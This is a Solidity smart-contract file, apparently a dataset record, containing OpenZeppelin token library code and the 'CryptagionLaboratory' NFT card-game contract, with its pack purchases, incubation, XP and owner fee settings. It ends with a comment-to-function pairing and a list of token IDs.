* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
_burn(account, amount);
}
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// OpenZeppelin Contracts v4.3.2 (token/ERC721/extensions/ERC721Enumerable.sol)
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
//Version Mainnet
//**************** MAIN CONTRACT ****************************
//Who? A3g1X. When? The Fall before the Fall, 2021
contract CryptagionLaboratory is ERC721Enumerable{
event NewEthogen(uint indexed ethogenID, uint16 dtypeID, uint8 rarity);
//consts
uint constant DEC18 = 10 ** 18;
uint8 constant maxBaseStat = 200;
using Counters for Counters.Counter;
using Address for address;
uint upgradefee = 0.001 ether;
uint silverpackfee = 0.002 ether;
uint legendarypackfee = 3 ether;
uint sickpackfee = 0.2 ether;
uint16 sickbonusbase = 400;
uint16 sickfeebase = 1000;
uint16 userxpgainbase = 200;
uint16 founderpackcap1 = 800;
uint8 founderpackcap2 = 230;
uint8 founderpackcap3 = 80;
uint16 xpDivisor = 400;
uint8 sickburndivisor = 10;
// Base URI
string private _baseURIextended;
string private _contractURI;
Counters.Counter private _tokenIdTracker;
address payable private owner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyOwnerOf(uint _ethogenID) {
require(msg.sender == ownerOf(_ethogenID));
_;
}
//main erc20 currency SICK
ERC20Burnable public sicktoken;
//dtypes - types of ethogens - owner can add new types with rarity caps
struct dtype{
uint16 raritycap1;
uint16 raritycap2;
uint16 raritycap3;
uint8 raritycap4;
uint8 raritycap5;
uint8 baseinfect;
uint8 basemort;
uint8 baseresist;
uint8 basestealth;
uint8 classtype;
uint8 legendarymaxcap;
}
dtype[] public dtypes;
//main token type: ethogen
struct Ethogen {
uint birthday;
uint birthblock;
uint16 dtype;
uint16 xp;
uint8 rarity;
uint8 level;
uint8 baseinfect;
uint8 basemort;
uint8 baseresist;
uint8 basestealth;
}
Ethogen[] public ethogens;
//additional stats 1:1 with Ethogen
struct EthogenStats {
uint8 modinfect;
uint8 modmort;
uint8 modresist;
uint8 modstealth;
uint8 boostinfect;
uint8 boostmort;
uint8 boostresist;
uint8 booststealth;
uint8 mutation;
uint8 trait;
uint8 special;
}
EthogenStats[] public ethogenstats;
//user stats
struct User {
uint incubating1;
uint incubating1date;
uint incubating2;
uint incubating2date;
uint incubating3;
uint incubating3date;
uint16 xp;
uint8 level;
}
mapping (address => User) public users;
//constructor
constructor() ERC721('Cryptagion Ethogen', 'ETHOGEN') {
_baseURIextended = "https://lab.cryptagion.com/tokenmeta/getmetadata.php?tokenid=";
_contractURI = "https://lab.cryptagion.com/tokenmeta/contractmetadata";
owner = payable(msg.sender);
setCurrency(0x3aA22ff4781D61FD3dbb820e0e2D9533bf908d5C);
//initial types
addType(92,56,45,181,14,6);
addType(107,16,38,132,21,8);
addType(55,62,152,43,41,10);
addType(74,157,63,31,35,6);
addType(130,41,86,78,12,8);
addType(56,77,133,87,41,6);
addType(142,26,21,173,22,8);
addType(72,64,98,95,33,10);
//mint a common as #0
mintRandom(62,1,1);
mintRandom(5,5,5);
}
//set and return URIs
function setBaseURI(string memory baseURI_) external onlyOwner() {
_baseURIextended = baseURI_;
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseURIextended;
}
function setContractURI(string memory contractURI_) external onlyOwner() {
_contractURI = contractURI_;
}
function contractURI() public view returns (string memory) {
return _contractURI;
}
//************************* SETTERS ******************************************
//this sets contract address of Cryptagion (SICK)
function setCurrency(address _token) public onlyOwner {
sicktoken = ERC20Burnable(_token);
}
//add new ethogen type
function addType ( uint8 _baseinfect, uint8 _basemort, uint8 _baseresist, uint8 _basestealth, uint8 _classtype,uint8 _legendarycap) public onlyOwner{
require (_legendarycap <=20, " Max is 20");
require (_basemort <=maxBaseStat && _baseinfect <=maxBaseStat && _basestealth <=maxBaseStat && _baseresist <=maxBaseStat, " Max Base Stat");
//proportion of mint caps in relation to legendary
uint16 commoncap = uint16(_legendarycap) * 150;
uint16 uncommoncap = uint16(_legendarycap) * 70;
uint16 rarecap = uint16(_legendarycap) * 20;
uint8 epiccap = uint8(_legendarycap) * 5;
dtypes.push(dtype(commoncap,uncommoncap,rarecap,epiccap,_legendarycap,_baseinfect,_basemort,_baseresist, _basestealth, _classtype,_legendarycap));
}
//overwrite ethogen type in case of f**k ups
function overwriteType (uint8 _baseinfect, uint8 _basemort, uint8 _baseresist, uint8 _basestealth, uint8 _classtype,uint _overwriteindex) external onlyOwner{
require (_basemort <=maxBaseStat && _baseinfect <=maxBaseStat && _basestealth <=maxBaseStat && _baseresist <=maxBaseStat, " Max Base Stat");
dtypes[_overwriteindex].baseresist = _baseresist;
dtypes[_overwriteindex].basestealth = _basestealth;
dtypes[_overwriteindex].baseinfect = _baseinfect;
dtypes[_overwriteindex].basemort = _basemort;
dtypes[_overwriteindex].classtype = _classtype;
}
//************************* THE MINT ******************************************
//mint random card with weighted rarity chances if _raritymin is 0, otherwise set the rarity
function mintRandom(uint _randomadd,uint8 _raritymin, uint8 _raritymax) private {
uint randNonce = 3 + _randomadd;
uint16 randomtype;
uint8 randomweight;
uint8 finalrarity;
//200 tries to get one that's not capped out.. just prevent endless loop
while (randNonce < _randomadd + 200){
randomtype = uint16(uint(keccak256(abi.encodePacked(block.number, msg.sender, randNonce))) % dtypes.length );
randNonce++;
if(_raritymin == 0){
randomweight = uint8(uint(keccak256(abi.encodePacked(block.number + _tokenIdTracker.current() , msg.sender, randNonce))) % 100 + 1);
if(_raritymax == 2)
{
if (randomweight < 66){finalrarity = 1;}
else {finalrarity = 2;}
}
else if(_raritymax == 3)
{
if (randomweight < 60){finalrarity = 1;}
else if (randomweight < 90){finalrarity = 2;}
else {finalrarity = 3;}
}
}
else{
finalrarity = _raritymin;
}
//particular mintcap?
if(checkmintcaps(randomtype,finalrarity)){
_mintEthogen(msg.sender, randomtype, finalrarity);
return;
}
randNonce++;
}
//massive fail
revert("No Cap, Try again") ;
}
//mint new ethogen
function _mintEthogen(address _to, uint16 _dtypeID, uint8 _rarity) private {
uint16 tmpfactor;
//set base stats based on rarity
if(_rarity == 1){tmpfactor = 1000;}
else if(_rarity == 2){tmpfactor = 1030;}
else if(_rarity == 3){tmpfactor = 1100;}
else if(_rarity == 4){tmpfactor = 1180;}
else if(_rarity == 5){tmpfactor = 1275;}
else {revert("Bad Rarity");}
//the real minting
uint256 newNftTokenId = _tokenIdTracker.current();
_mint(_to, newNftTokenId);
//percents increase based on rarity
uint8 finalinfect = uint8((uint32(dtypes[_dtypeID].baseinfect) * uint32(tmpfactor))/1000);
uint8 finalmort = uint8((uint32(dtypes[_dtypeID].basemort) * uint32(tmpfactor))/1000);
uint8 finalresist = uint8((uint32(dtypes[_dtypeID].baseresist) * uint32(tmpfactor))/1000);
uint8 finalstealth = uint8((uint32(dtypes[_dtypeID].basestealth) * uint32(tmpfactor))/1000);
//main Ethogen
ethogens.push(Ethogen(block.timestamp,block.number,_dtypeID, 0, _rarity, 0,finalinfect,finalmort,finalresist,finalstealth));
//random shizen
uint8 randommutation = uint8(uint(keccak256(abi.encodePacked(block.number + _tokenIdTracker.current() + 11, msg.sender))) % 255 + 1);
uint8 randomtrait = uint8(uint(keccak256(abi.encodePacked(block.timestamp + _tokenIdTracker.current() + 5, msg.sender))) % 255 + 1);
uint8 randomspecial = uint8(uint(keccak256(abi.encodePacked(block.timestamp + _tokenIdTracker.current() + 3, msg.sender))) % 255 + 1);
//EthogenStats 1:1 with Ethogens
ethogenstats.push(EthogenStats(1,1,1,1,0,0,0,0,randommutation,randomtrait,randomspecial));
_tokenIdTracker.increment();
//decrement specific value in mintcaps mapping and raritycaps array
if(_rarity == 1){dtypes[_dtypeID].raritycap1--;}
if(_rarity == 2){dtypes[_dtypeID].raritycap2--;}
if(_rarity == 3){dtypes[_dtypeID].raritycap3--;}
if(_rarity == 4){dtypes[_dtypeID].raritycap4--;}
if(_rarity == 5){dtypes[_dtypeID].raritycap5--;}
//emit the event
emit NewEthogen(newNftTokenId, _dtypeID, _rarity);
}
//mint a specific ethogen
function mintOwner(address _to, uint16 _dtypeID, uint8 _rarity) external onlyOwner {
require (checkmintcaps(_dtypeID,_rarity), "Cap reached");
_mintEthogen(_to, _dtypeID, _rarity);
}
//************************* SET FEES ******************************************
//set the upgradefee
function setUpgradeFee(uint _fee) external onlyOwner {
upgradefee = _fee;
}
//set the silver fee
function setSilverpackFee(uint _fee) external onlyOwner {
silverpackfee = _fee;
}
//set the legendary fee
function setLegendarypackFee(uint _fee) external onlyOwner {
legendarypackfee = _fee;
}
//set the sickpack fee
function setSickpackFee(uint _fee) external onlyOwner {
sickpackfee = _fee;
}
//set the userxpgainbase
function setUserXPgainBase(uint16 _newval) external onlyOwner {
userxpgainbase = _newval;
}
//set the sickbonusbase
function setSickBonusBase(uint16 _newval) external onlyOwner {
sickbonusbase = _newval;
}
//set the sickfeebase
function setSickFeeBase(uint16 _newval) external onlyOwner {
sickfeebase = _newval;
}
//set the sickburndivisor
function setSickBurnDivisor(uint8 _newval) external onlyOwner {
sickburndivisor = _newval;
}
//set the xpDivisor
function setXpDivisor(uint16 _newval) external onlyOwner {
xpDivisor = _newval;
}
//************************* PAYABLES ******************************************
//buy a pack
function buyCardPack(uint8 _packtype) external payable {
require((msg.value == silverpackfee || msg.value == 10 * silverpackfee || msg.value == 100 * silverpackfee || msg.value == sickpackfee || msg.value == legendarypackfee ) ," Fee must match one listed");
uint16 sickgain;
uint16 xpgain;
if(msg.value == silverpackfee && _packtype == 1){
//first uncom
mintRandom(13,2,2);
mintRandom(17,1,1);
if(founderpackcap1 > 0){
mintRandom(3,1,1);
sickgain = sickbonusbase * 2;
xpgain = userxpgainbase * 2;
founderpackcap1 --;
}
else{
sickgain = sickbonusbase;
xpgain = userxpgainbase;
}
}
else if(msg.value == silverpackfee * 10 && _packtype == 2){
//first rare
mintRandom(7,3,3);
mintRandom(4,2,2);
if(founderpackcap2 > 0){
mintRandom(13,0,2);
sickgain = sickbonusbase * 5;
xpgain = userxpgainbase * 3;
founderpackcap2 --;
}
else{
sickgain = sickbonusbase * 2;
xpgain = userxpgainbase * 2;
}
}
else if(msg.value == silverpackfee * 100 && _packtype == 3){
//first epic
mintRandom(24,4,4);
mintRandom(12,0,3);
if(founderpackcap3 > 0){
mintRandom(23,0,2);
sickgain = sickbonusbase * 10;
xpgain = userxpgainbase * 6;
founderpackcap3 --;
}
else{
sickgain = sickbonusbase * 5;
xpgain = userxpgainbase * 4;
}
}
else if(msg.value == sickpackfee && _packtype == 200){
mintRandom(9,0,2);
sickgain = sickbonusbase * 10;
xpgain = userxpgainbase * 2;
}
else if(msg.value == legendarypackfee && _packtype == 250){
mintRandom(7,5,5);
mintRandom(11,4,4);
mintRandom(5,3,3);
sickgain = sickbonusbase * 20;
xpgain = userxpgainbase * 10;
}
else if(msg.value == legendarypackfee && _packtype == 253){
mintRandom(13,5,5);
sickgain = sickbonusbase * 10;
xpgain = userxpgainbase * 5;
}
else{
revert("Wrong Amount ");
}
//give Sick, burn Sick, gain XP
sicktoken.transfer(msg.sender,sickgain * DEC18);
sicktoken.burn((sickgain * DEC18 ) / sickburndivisor);
useraddxp(uint16(xpgain));
}
//************************* SICK PAYABLE ******************************************
// buy user xp with sicktoken
function buyXPwithSick(uint16 _sicktokens) external {
require (_sicktokens > 0 && _sicktokens <= 32000 && (users[msg.sender].xp + _sicktokens) <= 32000 , "No_Max SICK");
sicktoken.transferFrom(address(msg.sender), address(this), _sicktokens * DEC18);
useraddxp(_sicktokens);
}
// buy small pack with SICK
function buyPackwithSick(uint8 _pack) external {
uint16 xpgain;
uint16 sickfee;
if(_pack == 1){
sickfee = sickfeebase;
xpgain = sickfeebase/2;
mintRandom(14,0,2);
}
else{
sickfee = sickfeebase * 10;
xpgain = sickfeebase * 5;
mintRandom(12,4,4);
}
sicktoken.transferFrom(address(msg.sender), address(this), sickfee * DEC18);
useraddxp(xpgain);
mintRandom(13,2,2);
}
// mutate with SICK
function mutate(uint _ethogenID, uint16 _rand) external onlyOwnerOf(_ethogenID){
sicktoken.transferFrom(address(msg.sender), address(this), sickfeebase * 5 * DEC18);
sicktoken.burn((sickfeebase * DEC18) / sickburndivisor);
useraddxp(sickfeebase);
ethogenstats[_ethogenID].mutation = uint8(uint(keccak256(abi.encodePacked(block.number + _tokenIdTracker.current() + _rand, msg.sender))) % 255 + 1);
}
//************************* EXTERNAL ETHOGEN UPDATES ******************************************
// boost an ethogen with SickToken
function boostStat(uint _ethogenID,uint8 _sicktokens,uint8 _stat) external onlyOwnerOf(_ethogenID){
uint8 finalfee;
if (_stat == 1){
if(uint16(ethogenstats[_ethogenID].boostinfect) + uint16(_sicktokens) > 255){
finalfee = uint8(255 - ethogenstats[_ethogenID].boostinfect);
ethogenstats[_ethogenID].boostinfect = 255;
}
else{
ethogenstats[_ethogenID].boostinfect = uint8(ethogenstats[_ethogenID].boostinfect + _sicktokens);
finalfee = _sicktokens;
}
}
else if (_stat == 2){
if(uint16(ethogenstats[_ethogenID].boostmort) + uint16(_sicktokens) > 255){
finalfee = uint8(255 - ethogenstats[_ethogenID].boostmort);
ethogenstats[_ethogenID].boostmort = 255;
}
else{
ethogenstats[_ethogenID].boostmort = uint8(ethogenstats[_ethogenID].boostmort + _sicktokens);
finalfee = _sicktokens;
}
}
else if (_stat == 3){
if(uint16(ethogenstats[_ethogenID].boostresist) + uint16(_sicktokens) > 255){
finalfee = uint8(255 - ethogenstats[_ethogenID].boostresist);
ethogenstats[_ethogenID].boostresist = 255;
}
else{
ethogenstats[_ethogenID].boostresist = uint8(ethogenstats[_ethogenID].boostresist + _sicktokens);
finalfee = _sicktokens;
}
}
else if (_stat == 4){
if(uint16(ethogenstats[_ethogenID].booststealth) + uint16(_sicktokens) > 255){
finalfee = uint8(255 - ethogenstats[_ethogenID].booststealth);
ethogenstats[_ethogenID].booststealth = 255;
}
else{
ethogenstats[_ethogenID].booststealth = uint8(ethogenstats[_ethogenID].booststealth + _sicktokens);
finalfee = _sicktokens;
}
}
//take some SICK for the boost
if(finalfee > 0){sicktoken.transferFrom(address(msg.sender), address(this), finalfee * DEC18);}
}
//************************* INCUBATE ******************************************
//lock token in incubator for upgrade fee
function incubatein1(uint _ethogenID) external payable onlyOwnerOf(_ethogenID){
require (users[msg.sender].incubating1 == 0 , " Full");
require(msg.value == upgradefee);
users[msg.sender].incubating1date = uint(block.timestamp);
users[msg.sender].incubating1 = _ethogenID;
}
function incubatein2(uint _ethogenID) external payable onlyOwnerOf(_ethogenID){
require (users[msg.sender].incubating2 == 0 , " Full");
require (users[msg.sender].level >= 50 , " Level 50");
require(msg.value == upgradefee);
users[msg.sender].incubating2date = uint(block.timestamp);
users[msg.sender].incubating2 = _ethogenID;
}
function incubatein3(uint _ethogenID) external payable onlyOwnerOf(_ethogenID){
require (users[msg.sender].incubating3 == 0 , " Full");
require(msg.value == upgradefee*3);
users[msg.sender].incubating3date = uint(block.timestamp);
users[msg.sender].incubating3 = _ethogenID;
}
//take out of incubator
function incubateout(uint8 _whichone) external {
uint ethogenID;
uint16 xpgained;
if(_whichone == 1){
if(users[msg.sender].incubating1 == 0){revert("Empty");}
ethogenID = users[msg.sender].incubating1;
users[msg.sender].incubating1 = 0;
xpgained = uint16((block.timestamp - users[msg.sender].incubating1date)/xpDivisor);
}
else if(_whichone == 2){
if(users[msg.sender].incubating2 == 0){revert("Empty");}
ethogenID = users[msg.sender].incubating2;
users[msg.sender].incubating2 = 0;
xpgained = uint16((block.timestamp - users[msg.sender].incubating2date)/xpDivisor);
}
else if(_whichone == 3){
if(users[msg.sender].incubating3 == 0){revert("Empty");}
ethogenID = users[msg.sender].incubating3;
users[msg.sender].incubating3 = 0;
xpgained = uint16((block.timestamp - users[msg.sender].incubating3date) * 3 /xpDivisor);
}
if(ownerOf(ethogenID) == msg.sender){
addxp(ethogenID,xpgained);
}
}
//************************* XP AND LEVELS ******************************************
//add xp check Max
function addxp(uint _ethogenID,uint16 _xp) private onlyOwnerOf(_ethogenID){
if(_xp > 32000){_xp=32000;}
if(ethogens[_ethogenID].xp + _xp > 32000){
ethogens[_ethogenID].xp = 32000;
}
else{
ethogens[_ethogenID].xp += _xp;
}
uint8 newlevel = calclevel(ethogens[_ethogenID].xp);
uint8 newmod = uint8(5 + (newlevel * 2) + (10 *ethogens[_ethogenID].rarity));
ethogens[_ethogenID].level = newlevel;
uint8 debuff = uint8(newlevel/4);
uint8 debuff2 = uint8(newlevel/8);
ethogenstats[_ethogenID].modmort = newmod;
ethogenstats[_ethogenID].modinfect = newmod;
ethogenstats[_ethogenID].modstealth = newmod;
ethogenstats[_ethogenID].modresist = newmod;
if (dtypes[ethogens[_ethogenID].dtype].classtype < 20){ ethogenstats[_ethogenID].modmort = newmod - 1;ethogenstats[_ethogenID].modstealth = newmod - debuff2;}
else if (dtypes[ethogens[_ethogenID].dtype].classtype < 30){ethogenstats[_ethogenID].modinfect = newmod - debuff;ethogenstats[_ethogenID].modresist = newmod - 1;}
else if (dtypes[ethogens[_ethogenID].dtype].classtype < 40){ethogenstats[_ethogenID].modstealth = newmod - debuff;ethogenstats[_ethogenID].modinfect = newmod - 1;}
else if (dtypes[ethogens[_ethogenID].dtype].classtype < 50){ethogenstats[_ethogenID].modresist = newmod - debuff;ethogenstats[_ethogenID].modmort = newmod - debuff2;}
else if (dtypes[ethogens[_ethogenID].dtype].classtype < 60){ethogenstats[_ethogenID].modresist = newmod - 1;ethogenstats[_ethogenID].modinfect = newmod - debuff2;}
else if (dtypes[ethogens[_ethogenID].dtype].classtype < 70){ethogenstats[_ethogenID].modmort = newmod - debuff;ethogenstats[_ethogenID].modresist = newmod - debuff2;}
}
//add xp check Max
function useraddxp(uint16 _xp) private {
if(_xp > 32000){_xp=32000;}
//max xp 32k
if(users[msg.sender].xp + _xp > 32000){
users[msg.sender].xp = 32000;
}
else{
users[msg.sender].xp += _xp;
}
users[msg.sender].level = calclevel(users[msg.sender].xp);
}
//************************* GETTERS ******************************************
//showfees
function getfees() external view returns (uint,uint,uint,uint) {
return(upgradefee,silverpackfee,sickpackfee,legendarypackfee);
}
//show founder caps
function getfoundercaps() external view returns (uint16,uint8,uint8) {
return(founderpackcap1,founderpackcap2,founderpackcap3);
}
//show bases
function getbasenumbers() external view returns (uint16,uint16,uint16,uint8,uint16) {
return(userxpgainbase,sickbonusbase,sickfeebase,sickburndivisor,xpDivisor);
}
//************************* PRIVATE ******************************************
//check if cap is reached
function checkmintcaps(uint16 _dtypeID,uint8 _rarity) private view returns (bool){
if(_rarity == 1 && dtypes[_dtypeID].raritycap1<=0){return false;}
if(_rarity == 2 && dtypes[_dtypeID].raritycap2<=0){return false;}
if(_rarity == 3 && dtypes[_dtypeID].raritycap3<=0){return false;}
if(_rarity == 4 && dtypes[_dtypeID].raritycap4<=0){return false;}
if(_rarity == 5 && dtypes[_dtypeID].raritycap5<=0){return false;}
return true;
}
//square root yo
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
//get level from xp
function calclevel(uint16 _xp) internal pure returns (uint8) {
return uint8(sqrt(5*uint32(_xp)) / 4);
}
//************************* STEP 3 ******************************************
//step 3: (from the underpants)
function collectDonations(address payable _shareholder1,address payable _shareholder2,uint _divamount) external onlyOwner {
_shareholder1.transfer(_divamount /2);
_shareholder2.transfer(_divamount /2);
}
function collectSick(uint _sickamount) external onlyOwner {
sicktoken.transfer(owner, _sickamount * DEC18);
}
//end contract
} | ************************* SET FEES ******************************************set the upgradefee | function setUpgradeFee(uint _fee) external onlyOwner {
upgradefee = _fee;
}
| 1,186,625 | [
1,
4043,
16439,
3991,
444,
326,
731,
2752,
536,
1340,
2,
0,
0,
0,
0,
